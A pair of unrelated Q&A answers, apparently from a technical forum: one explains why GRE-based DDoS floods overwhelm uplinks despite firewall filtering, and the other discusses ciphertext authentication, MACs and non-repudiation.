Now here's what I don't understand. Namely. Wouldn't the security groups on literally any webserver anyone would ever set up ever just throw out packets with non-standard protocol numbers (i.e. anything except TCP, UDP, and ICMP)? Shouldn't these be trivial to block with a firewall? I just don't get how these could be an effective DDOS considering how easy they are to filter by firewall/security group. What am I missing here?

Small amounts of unwanted traffic are easy to filter with a firewall as long as it's distinguisable from wanted traffic, which would be the case here with GRE.

The point you're missing is that the victim is receiving much more traffic than it can handle. So much more that all uplinks are saturated, so valid traffic isn't coming through to the destination anymore. Filtering at the end point is useless then, so you need other, complexer strategies like scrubbing or upstream filtering to deal with these kinds of attacks.


Authenticating a ciphertext What can be considered as a downside of authenticating a ciphertext?

For example, can we say a drawback of authenticating a ciphertext is that we lose
repudiation, for example, we can't prove to the person who performed encryption
and then authentication, that he had encrypted some particular message M?

Authentication is related to some notion of identity: a message (encrypted or not) is said to be authenticated if it can be guaranteed in some way that its originator is some specific entity. The definition of that entity, and the extent of the guarantee, depends on the context.

For instance, when two people (traditionally called Alice and Bob) share a common secret key K, they can encrypt data with K and also authenticate it relatively to K with a MAC: from the point of view of Bob, the MAC authenticates the message as originating from someone who knows K; from that, Bob infers that the message comes from Alice, because K is supposedly known only to Alice and Bob, and Bob remembers never having sent that specific message, so it must come from Alice.

However, third parties (Charlie), not knowing K, cannot verify the MAC, and thus cannot consider the message as authenticated. Even if Bob reveals K (e.g. Charlie is a Judge and Bob sues Alice with regards to the message contents which could be a contractual element), Bob cannot convince the Judge is really from Alice since Bob also knows K and could have produce the same message himself. In a nutshell, this is why banks are reluctant to authorize big stock exchange orders from customers through a Web-based interface: the bank can get some guarantee about the connected client's identity (that's authentication) but cannot turn that guarantee into a convincing proof for a third party.

In general, authentication is required whenever there is encryption. Encryption without authentication is robust only against passive-only attackers, who spy on the line but never modify any bit. This attack model turns out to be rarely realistic. Combining encryption and authentication properly is non-trivial. There are some encryption mode which do that.

The main drawback of authentication is that it tends to imply some slight overhead. If done properly, we are talking about a dozen extra bytes per message, and maybe a +20% CPU cost (which will not matter in most cases).